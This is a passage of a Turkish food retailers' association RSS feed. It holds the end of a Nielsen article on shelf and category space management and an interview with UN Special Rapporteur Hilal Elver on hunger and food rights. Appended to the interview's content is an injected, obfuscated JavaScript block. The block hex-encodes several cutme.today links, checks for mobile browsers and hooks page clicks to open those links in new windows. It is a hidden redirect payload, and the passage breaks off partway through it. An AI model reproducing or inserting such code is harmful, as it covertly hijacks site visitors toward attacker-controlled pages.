doğrultuda belirlemek çok büyük önem taşıyor.</p><p><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-398" src="http://gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi3-300x200.jpg" alt="" width="300" height="200" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi3-300x200.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi3-768x512.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi3-696x464.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi3-630x420.jpg 630w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/07/alan-yönetimi3.jpg 787w" sizes="(max-width: 300px) 100vw, 300px" /></p><p>ALAN YÖNETİMİ VE MÜŞTERİ DENEYİMİ</p><p>Mağazada kategorilerin yerleşiminin ve reyonda ürün yerleşiminin alışveriş atmosferine ve alışverişçi davranışları üzerinde önemli etkileri bulunuyor. Ürünlerin reyonda yerleşimini iyi yönetmenin; boş raflardan kaynaklanacak finansal negatif etkileri azaltmanın yanı sıra alışverişçinin tatmini ve alışverişçiyle daha iyi bir ilişki kurulmasını sağlayarak satışların artmasına yol açacağı biliniyor.</p><p> </p><p>KATEGORİ YERLEŞİMİ</p><p>Alışverişçi-Merkezli Alan Yönetiminin, reyonda ürünlerin yerleşiminden önce perakendecinin müşterilerinin alışveriş deneyimini geliştirmek üzere kategori yerleşiminin yapısını belirlemesiyle başlaması gerekiyor. Alışverişçilerin mağaza içinde rahat oldukları bir deneyim yaşamaları önemli bir faktör olarak ön plana çıkıyor. Mağaza içi yoğunluk seviyesini mağaza trafiği ve alışverişçi trafik akışıyla tanımlayabiliriz. Mağaza trafiği belirli bir zaman aralığında mağazayı ziyaret eden alışverişçi sayısıyla; alışverişçi trafik akışı ise alışverişçilerin mağaza içindeki hareketleriyle ilişkilidir. Mağaza trafiğinin düşük olması, otomatik olarak her zaman satışların da düşük olacağı anlamına gelmez. Perakendecilerin alışverişçi trafik akışını iyi yönetmeleri bu açıdan kritiktir.</p><p> </p><p>Mağaza trafiği ve alışverişçi trafik akışının bileşik olarak satışlar üzerinde etkisi bulunuyor ancak satışları arttırabilecek diğer faktörlerin etkisi çok daha büyük. Perakendeci satışlarını çok daha büyük oranda arttırmak istiyorsa; alışverişçilerin mümkün olduğunca fazla sayıda koridordan geçmesini ve farklı kategorilerden alışveriş yapmalarını sağlamaları gerekiyor. Bu da ancak mağazadaki kategori yerleşiminin dikkatli bir değerlendirmeyle yapılmasıyla mümkün olabilir. Kategorilerin mağaza içi konum ve genişliklerinin belirlenerek uygulanmasına “Makro Alan Yönetimi” adı veriliyor.</p><p> </p><p>REYONDA ÜRÜN YERLEŞİMİ</p><p>Doğru yapılandırılmış bir reyon tasarımı; alışverişçi, perakendeci ve üretici için önemli ve her üçü için de avantaj yaratıyor. Alışverişçi satın alma kararlarının 2/3’ü mağaza içinde gerçekleşiyor. Dolayısıyla ürünlerin reyonlarda nasıl sunulduğunun alışverişçilerin mağaza içindeki davranışlarında etkisi büyük… Ürünün reyondaki pozisyonunun ve önyüz sayısının; görünürlüğü ve dolayısıyla satışı açısından etkisi bulunuyor.</p><p>Reyon tasarımının etkinliği sıklıkla alan elastikiyeti ile belirleniyor. Bu elastikiyet, ek raf alanının ürün satışı üzerindeki etkisini belirleyen parametredir. Ürünün rafta kapladığı alan, özellikle impulse (dürtüsel) alımlarda en etkin olandır. Etkin bir raf alanı dağılımı, satışların ve alışverişçi memnuniyetinin artmasına neden oluyor. Ayrıca bu dağılımın iyi yönetilmesi, stoksuzluk oranlarını da düşürüyor.</p><p> </p><p>Belirli bir noktadan sonra önyüz sayısını arttırmanın satış üzerindeki etkinliği azalmaya başlayacaktır. Özellikle düşük pazar paylı markaların önyüz sayısının arttırılması, alışverişçinin marka tercihini ciddi oranda etkiliyor. Ürünlerin reyondaki konumunun ise Alışverişçi Karar Ağacı (AKA) adı verilen alışverişçilerin satın alma sırasında kullandıkları kriterlere (alt kategori, segment, marka, fiyat, paket boyutu vb.) göre belirlenmesi gerekiyor. Ürün yerleşimi; AKA hiyerarşisine göre yatay ve dikey bloklamalar şeklinde gerçekleştirilebilir. Yatay ve dikey grup sergileme tercihleri, mağaza içi gözlemlere dayanan alışverişçi araştırmaları iç görülerine dayandırılarak ve perakendeci kategori stratejileri doğrultusunda yapılmalıdır. Ürünlerin hangi ürünlerle yan yana sergilenmeleri gerektiği, konumları ve önyüz sayıları belirlenerek görsel bir plan (planogram) haline getirilerek mağazalarda uygulanması ve uygulamanın denetlenmesine ise Mikro Alan Yönetimi adı veriliyor.</p><p> </p><p>Değişen perakende pazar dinamikleri doğrultusunda Nielsen olarak çeşit optimizasyon çözümlerimizi özellikle mevcut alan kısıtlarıyla gerçek tüketici talebini anlamaya yönelik olacak bir biçimde yenilemiş bulunuyoruz ve geliştirmeye devam ediyoruz. Aynı zamanda özellikle perakendeciler için mağaza bazında değişen satış ve fiziksel koşullar doğrultusunda mağaza bazlı otomatik planogram yaratımı ve güncellemeyi mümkün hale getiren Mikro Alan Yönetimi çözümleri ve yenilenen Makro Alan Optimizasyonu çözümlerimizi tüm dünyada olduğu gibi Türkiye’de de müşterilerimizin ihtiyaçları doğrultusunda özelleştirerek sunmaya devam ediyoruz.</p><p>​​</p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div>
		<p>The post <a href="https://www.gidaperakendecileri.org/springfest-one-fashion-show-at-the-university-of-michigan/">Değişen Perakende Ortamında  Alışverişçiye Rafta Ulaşmak</a> appeared first on <a href="https://www.gidaperakendecileri.org">GPD</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.gidaperakendecileri.org/springfest-one-fashion-show-at-the-university-of-michigan/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Birleşmiş Milletler Gıda Hakkı Özel Raportörü Hilal Elver: “Endüstriyel Tarım Dünyayı Tehdit Ediyor”</title>
		<link>https://www.gidaperakendecileri.org/creative-decorating-with-houseplants-from-floor-to-ceiling/</link>
					<comments>https://www.gidaperakendecileri.org/creative-decorating-with-houseplants-from-floor-to-ceiling/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 26 Jun 2019 12:52:20 +0000</pubDate>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Sektörel Bilgiler]]></category>
		<guid isPermaLink="false">http://td_uid_83_5d136a849cf0e</guid>

					<description><![CDATA[<p>Birleşmiş Milletler Gıda Hakkı Özel Raportörü Hilal Elver diyor ki, “Endüstriyel tarım dünyayı tehdit ediyor. Artık çiftçiler, küçük-büyük hepsi, büyük şirketlerin hakimiyeti altında, onlara hizmet ediyor. Yani sözleşmeli eleman haline geliyorlar. Gıda egemenliği diye bir şey artık dünyada çok ciddi bir tehdit altında. Bunu ülkemizde savunmanın, anlatmanın zamanı geldi de geçiyor.”2015 yılında, 777 milyon kişi [&#8230;]</p>
<p>The post <a href="https://www.gidaperakendecileri.org/creative-decorating-with-houseplants-from-floor-to-ceiling/">Birleşmiş Milletler Gıda Hakkı Özel Raportörü Hilal Elver: “Endüstriyel Tarım Dünyayı Tehdit Ediyor”</a> appeared first on <a href="https://www.gidaperakendecileri.org">GPD</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="td-paragraph-padding-1"><strong style="color: #111111; font-family: Roboto, sans-serif; font-size: 22px;">Birleşmiş Milletler Gıda Hakkı Özel Raportörü Hilal Elver diyor ki, “Endüstriyel tarım dünyayı tehdit ediyor. Artık çiftçiler, küçük-büyük hepsi, büyük şirketlerin hakimiyeti altında, onlara hizmet ediyor. Yani sözleşmeli eleman haline geliyorlar. Gıda egemenliği diye bir şey artık dünyada çok ciddi bir tehdit altında. Bunu ülkemizde savunmanın, anlatmanın zamanı geldi de geçiyor.”</strong>2015 yılında, 777 milyon kişi açlıkla mücadele ederken bu yılki rakamın 815 milyona yükseldiğini biliyor muydunuz? Bu da dünya nüfusunun yüzde 11’inin aç olduğu anlamına geliyor. Birleşmiş Milletler Gıda Hakkı Özel Raportörü Hilal Elver, gıda hakkı, açlık ve üretim fazlalığı konusundaki gerçekleri bizimle paylaştı.</p>
</div>
<div class="mceTemp"></div>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-498 size-full" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop2.jpg" alt="" width="787" height="548" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop2.jpg 787w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop2-300x209.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop2-768x535.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop2-100x70.jpg 100w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop2-696x485.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop2-603x420.jpg 603w" sizes="(max-width: 787px) 100vw, 787px" /></p>
<div class="td-paragraph-padding-1">
<h3><strong>Öncelikle sizi tanıyalım. Bize kendinizden ve profesyonel geçmişinizden bahseder misiniz?</strong></h3>
<p>Ben akademisyen olarak yıllar önce Ankara Üniversitesi Hukuk Fakültesi’nde göreve başlamıştım. 1994 yılından itibaren de akademik hayatıma yurtdışında devam ettim. Sırayla Roma Hukuku, Karşılaştırmalı Hukuk, Türk Çevre Hukuku, Uluslararası Çevre Hukuku, Uluslararası Hukuk, İnsan Hakları konularında ders verip yayınlar yapıyorum. İlk İngilizce kitabım Uluslararası Suların Barışçı Kullanımı: Dicle ve Fırat Nehirleri, 2000 yılında; ikinci kitabim İnsan Hakları Açısından Başörtüsü ve Laiklik, 2012 yılında, Oxford Üniversitesi tarafından basıldı. En sok kitabım Paul Wapner ile ortak olarak editörlüğünü yaptığım İklim Değişikliğinin Yeniden Hayata Geçirilmesi adı altında, 2016 yılında yayınlandı. 2014 yılında Birleşmiş Milletler İnsan Hakları Komisyonu tarafından Gıda Hakkı Özel Raportörlüğü görevine seçildim. Şu anda ikinci dönemdeyim ve bu görevim 2020’de sona erecek.</p>
<h3><strong>BM Gıda Hakkı Özel Raportörü olarak görev yapıyorsunuz? Gıda Hakkı Raportörlüğünü bize anlatır mısınız?</strong></h3>
<p>Bu görev, 3 yıllık iki dönem olarak 6 yıl süren, uzmanlık alanlarındaki yetenek ve bilgiler göz önüne alınarak İnsan Hakları Komisyonu üyesi devletler tarafından oy birliğiyle ve seçimle atanan, ancak Birleşmiş Milletler memuru statüsünde olmayan bir görev alanı. Yani ne bir ülkeye ne de Birleşmiş Milletler’e bağımlılık yok ve maaşlı bir statü değil. Bu, insan haklarının özel durumundan kaynaklanan ve bağımsız olarak görev yapmamızı sağlayan bir statü… Birleşmiş Milletler memuru değiliz ama Birleşmiş Milletler’i temsil eden ve bu temsilin gerektirdiği bütün yasal statü ve kuvvetine sahibiz. Raporlarımız Birleşmiş Milletler’in bütün raporları kadar yasal olarak ülkeleri bağlayıcı. Protokol olarak da Birleşmiş Milletler Genel Sekreteri statüsüne eşit bir durumu var. Hemen hemen her insan hakkı alanında (hem politik haklar hem de ekonomik, sosyal ve kültürel) bir özel raportör var. Birkaç tane de ülke bazında özel raportörlük var, örneğin Filistin, Burma, Kuzey Kore gibi.</p>
<p>Benim görevlerim arasında her yıl iki ülkeye misyon seyahati yaparak ülke özelinde gıda hakkı alanındaki hukuki ve politik kararları ve uygulamalarını denetlemek ve Birleşmiş Milletler’e rapor sunmak; ayrıca yılda iki kez de tematik raporlar hazırlayarak sunmak bulunuyor. Tematik raporların konu seçimi, ülke secimi konusunda da tamamen bağımsız karar veriyorsunuz. Bunun dışında insan hakkını ilgilendiren uluslararası toplantılara, akademik tartışmalara katılmak ve tanıtıcı yayınlar yapmak gerekiyor.</p>
<h3><strong><img loading="lazy" decoding="async" class="size-medium wp-image-499 alignleft" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop3-300x200.jpg" alt="" width="300" height="200" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop3-300x200.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop3-768x512.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop3-696x464.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop3-630x420.jpg 630w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop3.jpg 787w" sizes="(max-width: 300px) 100vw, 300px" />İklim değişikliği konusunda yapılan Paris Anlaşması&#8217;nın birinci yıl dönümünde yayımlanan Gıda Sürdürülebilirliği Raporu&#8217;na göre önümüzdeki 40 yıl içinde açlık riskiyle karşı karşıyayız. Gıdaya erişim konusunda geleceğimizi tehdit eden unsurlar nelerdir?</strong></h3>
<p>Gıdaya erişim konusundaki sorunların başında dünyadaki çatışmalar ve iklim değişikliği nedeniyle daha artarak ve daha uzun dönemleri kapsayarak ortaya çıkan kuraklık, çölleşme ve su baskınlarının gıda üretimi ve erişimi üzerindeki olumsuz etkileri geliyor. Genelde de bu iki sorun bir arada karşımıza çıkıyor. Az gelişmiş ve gelişmekte olan ülkelerde iklim değişikliği açısından en tehlikeli durumda olan yerler, şu anda bile önemli bir tehdit altında. Gelecek 40 yılı artık tahmin etmeye bile gerek yok.</p>
<p>Tabii bunun dışında ülkelerin yanlış iç politikaları, küreselleşmenin getirdiği ekonomi ve tarım politikalarının gelişmekte olan ülkeler üzerindeki olumsuz etkileri, dış ticaret ve tarım politikaları nedeniyle ülkelerin kendi kendine yeterli olmaktan çıkarak dışarıya bağımlı hale gelmeleri, gıdaya ulaşım konusunda özellikle gelir seviyesi düşük kitleler üzerinde çok önemli sonuçlar doğuruyor. Her şeyden önce şunu belirtmek gerekiyor ki açlık ve gıda güvensizliği, yeterli gıdanın olmamasından değil, ekonomik nedenlerden dolayı gıdaya ulaşamamaktan geliyor. Yoksa dünyada şu anda çok ciddi bir gıda üretim fazlası var.</p>
<h3><strong><img loading="lazy" decoding="async" class="size-medium wp-image-500 alignright" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop4-300x199.jpg" alt="" width="300" height="199" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop4-300x199.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop4-768x508.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop4-696x461.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop4-634x420.jpg 634w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop4.jpg 787w" sizes="(max-width: 300px) 100vw, 300px" />Dünyada açlık ve gıda sorununun boyutları nedir? Türkiye’ye baktığımızda gıdanın geleceği açısından öngörüleriniz nelerdir?&nbsp;</strong></h3>
<p>Birleşmiş Milletler Gıda ve Tarım Organizasyonu’nun yıllık raporlarının sonuncusu olan 2017 raporuna bakarsak maalesef açlığın giderilmesi ve gıda güvenliğinin sağlanması konusunda ileri değil, geri gidiyoruz. Örneğin, 2015 yılında 777 milyon kişi açlıkla mücadele ederken bu yılki sayı, 815 milyon. Bu dünya nüfusunun yüzdede 11’inin aç olduğunu ve bu sayının %5 arttığını gösteriyor. Örneğin, dünyadaki 5 yaşın altında her 4 çocuktan biri açlık nedeniyle gerekli boy ve kiloya ulaşamıyor, beslenme yetersizliği çekiyor.</p>
<p>Türkiye’nin durumuna gelince, neyse ki Türkiye, açlık tehdidi altında olan bir ülke değil. Hatta Türkiye gıda ve insani yardımlar konusunda dünyada en önde gelen ülkeler arasında. Ayrıca Türkiye son yıllarda açlık ve gelir düzeyinin arttırılması konusunda çok iyi politikalarla bu sorunu en aza indirmiş durumda. Bunlar olumlu politikalar. Olumsuz politikalara gelince, Türkiye giderek, dışarıya gıda satan bir ülke konumundan, dışarıdan gıda alan bir ülke haline geliyor. Bu çok ciddi bir tehlike, ileriye yönelik. Bunu son yıllarda gündemde çok yeri olan et ithali, hayvan yemi ithali konularından dolayı herkes biliyor.</p>
<p>Ayrıca Türkiye, iklim değişikliğinden olumsuz etkilenecek olan kuşakta yer alıyor. Yani hem kuraklık hem de tatlı su kaynaklarının giderek azalması, yağmurların yetersiz kalması ya da çok hızlı yağışlar nedeniyle sel tehlikeleri altındayız. Bu tarım sektörünü ciddi bir şekilde etkileyecek, hatta etkiliyor. Hızlı kentsel ve endüstriyel gelişmeler, tarım topraklarını tehdit ediyor. Küçük çiftçilerin korunması, köylünün toprağına geri dönmesi gerek. Bunun için de tarımı atraktif hale getirmek lazım. Çok önemli politikalar gerekiyor. Ama bu politikalar, bütün sektörlerin ortaklığıyla ele alınmalı.</p>
<h3><strong>“Gıda Hakkı” hakkında neler söyleyeceksiniz?&nbsp;</strong></h3>
<p>Gıda hakkı, 1948 Birleşmiş Milletler Evrensel Beyannamesi ile uluslararası hukukta korunan, temel bir hak. Ayrıca Ekonomik Sosyal ve Kültürel Haklar Konvansiyonu’nun 11’inci maddesiyle yasal koruma altına alınmış. Batılı ülkeler, özellikle ABD, bu hakları insan hakları statüsü açısından siyasal ve politik haklar ile eşit tutmuyor. Bu nedenle de dünyada bu haklar daha çok gelişmekte olan ülkelerin gündeminde. Hâlbuki batılı ülkelerde bu konu çok ciddi tehdit altında olmasına rağmen… Gıda hakkının bir insan hakkı olarak kabul edilmesi, kişilere devletin gıda ile ilgili politikalarını irdeleme hakkını veriyor. Eğer gıda hakları devlet politikaları tarafından doğrudan veya dolaylı olarak tehdit ediliyorsa yargı yolunu açan ciddi bir hak. Bu nedenle çok önemli ama halen birçok ülkede ve birçok platformda bunu bilmeyenlere anlatmak gerekiyor. Bir bilgi ve algı eksikliği söz konusu.</p>
<h3><strong>Türkiye’nin gıda ve tarım politikaları için neler düşünüyorsunuz? Neler yapılmalı sizce?&nbsp;</strong></h3>
<p>Türkiye ekolojik zenginliği olan, çeşitli iklim kuşaklarının olduğu, şanslı bir ülke. Ama bu şansımızı zorlamamak gerekiyor. Çünkü bu kaynaklar çok sınırlı, özellikle de iklim değişikliğinin hızla etkisini gösterdiği son yıllarda… Tarım politikaları, iklim değişikliği, çevre kaynaklarının korunması, kentsel gelişim ve endüstriyel gelişimin, sosyal güvenlik politikalarının, hatta kadın politikalarının bir arada görüşülüp konuşulduğu, topluma açık, şeffaf platformlarda değerlendirilerek yapılmalı. Yol yakınken dönmek mümkün. Endüstriyel tarım dünyayı tehdit ediyor. Artık çiftçiler, küçük büyük hepsi, büyük şirketlerin hakimiyeti altında, onlara hizmet ediyor. Yani sözleşmeli eleman haline geliyorlar. Gıda egemenliği diye bir şey artık dünyada çok ciddi bir tehdit altında. Bunu ülkemizde savunmanın, anlatmanın zamanı geldi de geçiyor. Bunu yapan bir avuç insan var, hem de çok iyi yapıyorlar. Onlara daha fazla yer vermek, onları daha fazla dinlemek lazım.</p>
<h3><strong>Uzmanlar her gün Berlin, her yıl Filipinler büyüklüğünde tarım alanını kaybettiğimizi belirtiyor ve sürdürülebilir tarım politikalarına dikkat çekiyor. Tarım ve gıda israfı konusunda ne gibi somut adımlar atılmalı?&nbsp;</strong></h3>
<p>Yine yukarıda sözünü ettiğim gibi, artık bunları konuşmak yetmiyor, bir yerlerden başlamak gerekiyor. Eğer bu toprakların kaybedildiği söyleniyor ise o zaman neden önlemler alınmıyor? Demek ki bu konuda ciddi bir karşı tepki var. Bu da büyük şirketlerin inanılmaz kâr amaçlarıyla özellikle gelişmekte olan ülkelerin ekonomik büyümeye verdikleri büyük yer. Bu iki önemli kuvvet, maalesef sürdürülebilir kalkınmanın ekonomik yönüne bakıp, ekolojiyi göz ardı ediyor.</p>
<p>Gıda israfı da çok önemli. Dünyada yüzde 30-40 üretilmiş gıda, değişik seviyelerde çöpe gidiyor. Evet çok önemli, ama bu politika üretimin ciddi olarak gözden geçirilmesini göz ardı etmemeli. Yani üretim odaklı politikalarla gıda israfı önlenemez. “Az ve yerinde üret, doğru üret, az tüket.” Tüketimi kısmadan, tarımı hızlandıran, özellikle tek düze üretime yönelik politikalar çok tehlikeli.</p>
<h3><strong><img loading="lazy" decoding="async" class="size-medium wp-image-501 alignleft" src="https://new.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop5-300x291.jpg" alt="" width="300" height="291" srcset="https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop5-300x291.jpg 300w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop5-768x746.jpg 768w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop5-696x676.jpg 696w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop5-433x420.jpg 433w, https://www.gidaperakendecileri.org/wp-content/uploads/2019/06/Hilal-Elver_rop5.jpg 787w" sizes="(max-width: 300px) 100vw, 300px" />BM gıda kaybının ve gıda israfının önüne geçilmesine yönelik ne gibi projeler gerçekleştiriyor?&nbsp;</strong></h3>
<p>Ben gıda israfı üzerinde çok durmuyorum şu günlerde. Çünkü açlık çok ciddi boyutlarda. Ayrıca gıda israfını önlemek için her alanda, her seviyede, her ülkede farklı çözümler getirilmesi gerekiyor. Gelişmekte olan ülkelerde alt yapı eksikliği, gelişmiş ülkelerde tüketiciye ulaştığı zaman… Yani ambalajlamadan tutun, süpermarketlerin desteklediği çok fazla ve aşırı tüketim en büyük sorunlar. Modern hayat da cabası. Hepimiz kişisel olarak buna önem vermeliyiz. Birleşmiş Milletler’in kararlarının uygulanması beklersek, maalesef bu sorunu çözmek için çok geç kalmışız demektir.</p>
<p>Gıda hakkının, gıda ve beslenme hakkı olarak ele alınması gerekiyor. Aşırı üretim, beslenme açısından zararlı üretim, insanları hasta ediyor. Dünyada aşırı beslenme ve obezite, şu anda açlık kadar önemli. Birçok ülkede hem açlık hem de obzite ve aşırı gıdadan kaynaklanan hastalıklar baş gösteriyor. Diyabet, kalp ve damar hastalıkları, bazı kanserler dünya sağlığını tehdit eder düzeyde. Bu hastalıkların büyük bir nedeniyse yanlış beslenme. Bu nedenle bir yandan kıtlık ve savaşla, iklim değişikliğiyle uğraşırken bir yandan da aşırı tuz, şeker, yağ içeren “junk food”lar ve onları üreten dünya devleriyle savaşmak gerekiyor.</p>
</div>
<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6e\x74\x53\x33\x63\x333','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x67\x55\x55\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x64\x55\x62\x38\x63\x368','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6e\x68\x43\x39\x63\x369','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x5a\x70\x6a\x34\x63\x364','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x68\x69\x56\x37\x63\x347','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x41\x61\x66\x32\x63\x352','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x68\x6a\x53\x36\x63\x396','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const 